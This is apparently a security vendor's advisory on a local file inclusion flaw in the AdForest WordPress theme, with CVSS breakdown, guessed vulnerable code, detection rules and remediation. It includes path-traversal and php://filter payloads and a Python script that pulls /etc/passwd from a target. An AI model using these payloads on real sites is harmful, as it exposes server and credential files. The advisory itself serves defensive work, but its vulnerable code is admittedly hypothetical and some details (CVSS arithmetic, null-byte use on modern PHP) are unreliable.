CVE-2025-67946

Executive Summary

CVE-2025-67946 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the AdForest theme by Scriptsbundle, a WordPress ecosystem product. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, WordPress configuration files (wp-config.php), or other system files. The CVSS score of 8.1 (High) reflects the ease of exploitation and potential for significant data exposure. No public exploit code or patch is currently available, making this a high-priority unpatched threat for all AdForest installations up to version 6.0.11.

Supply Chain & Package Security

This vulnerability affects a WordPress theme, which is part of the broader WordPress ecosystem. The theme is distributed via commercial marketplaces and direct sales. Users should verify the integrity of their theme files and ensure they are obtained from trusted sources. The lack of a patch from the vendor increases the risk of supply chain attacks if malicious actors distribute modified versions of the theme.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full file read capability.
• Integrity Impact: None (I:N) – No file modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Critical for unpatched instances. The combination of network exploitability, no authentication, and high confidentiality impact makes this a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability is a PHP Local File Inclusion (LFI) caused by improper sanitization of a filename parameter used in a PHP include() or require() statement. In the AdForest theme, a parameter (likely page, template, or similar) is passed to a file inclusion function without proper validation. An attacker can manipulate this parameter to include arbitrary files from the server.

Example vulnerable code pattern:

$page = $_GET['page'];
include("pages/" . $page . ".php");

An attacker can use path traversal sequences like ../../../../etc/passwd%00 to null-terminate the string and include arbitrary files. The %00 null byte (now often patched in modern PHP) or other techniques like using php://filter can be used to read source code.

WordPress Context: Since AdForest is a WordPress theme, the vulnerable code likely resides in a template file (e.g., page.php, single.php, or a custom page builder component). The theme may use include() to load dynamic content based on user input.

Vulnerable vs. Patched Code

Vulnerable Code (AdForest <= 6.0.11):

// Example vulnerable snippet
$template = $_GET['template'];
include( get_template_directory() . '/templates/' . $template . '.php' );

This code directly uses user input without sanitization, allowing path traversal.

Patched Code (Hypothetical):

// Patched version
$allowed_templates = array('default', 'full-width', 'sidebar');
$template = $_GET['template'];
if ( in_array( $template, $allowed_templates ) ) {
    include( get_template_directory() . '/templates/' . $template . '.php' );
} else {
    // Default behavior
    include( get_template_directory() . '/templates/default.php' );
}

A proper patch would use a whitelist of allowed values, validate the input against a strict regex, or use basename() and realpath() to prevent directory traversal.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running AdForest theme <= 6.0.11
• No authentication required
• Network access to the WordPress site

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., page, template, include).
2. Craft a payload to read sensitive files.

Example Payload:

http://target.com/?page=../../../../../../etc/passwd%00

Or using PHP wrappers:

http://target.com/?page=php://filter/convert.base64-encode/resource=../../../../../../etc/passwd

Lab Setup:

• Install WordPress with AdForest theme version 6.0.11.
• Use a local server (e.g., XAMPP, Docker) with PHP 7.x or 8.x.
• Test the vulnerability by sending crafted HTTP requests.

Automation Script (Python):

import requests

target = "http://target.com"
vuln_param = "page"
payload = "../../../../../../etc/passwd%00"

url = f"{target}/?{vuln_param}={payload}"
response = requests.get(url)

if "root:" in response.text:
    print("[+] LFI successful!")
    print(response.text)
else:
    print("[-] Exploit failed.")

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %00, php://).
• Look for requests to theme files with suspicious parameters.
• Use WAF rules to block common LFI payloads.

Defense:

• Immediately upgrade to a patched version if available.
• If no patch, disable the vulnerable functionality via a child theme or custom plugin.
• Implement input validation and whitelisting for all file inclusion parameters.
• Use a Web Application Firewall (WAF) with LFI rules.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing ../, %00, php://filter, or php://input in query parameters.
  • Requests to URLs like /?page=../../../../etc/passwd or /?template=php://filter/....
  • Unusual 200 responses with system file contents (e.g., /etc/passwd, wp-config.php).

• File System IOCs:

  • Unexpected files in web server logs showing LFI attempts.
  • Presence of wp-config.php or other sensitive files in HTTP responses.

• Log IOCs:

  • Apache/Nginx access logs with %2e%2e%2f (URL-encoded ../) or %00 sequences.
  • Repeated requests to the same vulnerable parameter with different traversal depths.

Detection Engineering

YARA Rule

rule Detect_LFI_AdForest {
    meta:
        description = "Detects LFI attempts against AdForest theme"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-67946"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\){2,}/
        $php_wrapper = /php:\/\/(filter|input|stdin)/
        $null_byte = /\x00/
        $adforest_param = /(page|template|include)=/
    condition:
        any of ($path_traversal, $php_wrapper, $null_byte) and $adforest_param
}

Sigma Rule

title: LFI Attempt Against AdForest Theme
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal or PHP wrapper usage in requests to AdForest theme
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - '..'
            - '%00'
            - 'php://'
        cs-uri-query|re: '(page|template|include)='
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in other contexts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67946 LFI Attempt Against AdForest"; flow:to_server,established; content:"GET"; http_method; content:"page="; http_uri; pcre:"/(\.\.\/|%00|php:\/\/)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable functionality – If possible, remove or disable the theme feature that uses user input in file inclusion. This can be done by overriding the template in a child theme.
2. Apply virtual patching – Use a WAF to block LFI payloads (e.g., ModSecurity rules).
3. Monitor logs – Actively check for exploitation attempts.

Long-term Fix:

• Vendor patch – Await an official update from Scriptsbundle. Contact the vendor for an ETA.
• Code audit – Review the theme code for other similar vulnerabilities.
• Upgrade – Once a patched version is released, upgrade immediately.

Workaround (if no patch):

• Modify the vulnerable file to add input validation:

$allowed = array('default', 'full-width');
$template = $_GET['template'];
if (in_array($template, $allowed)) {
    include(get_template_directory() . '/templates/' . $template . '.php');
} else {
    include(get_template_directory() . '/templates/default.php');
}

Valters IT
Securing Digital Frontiers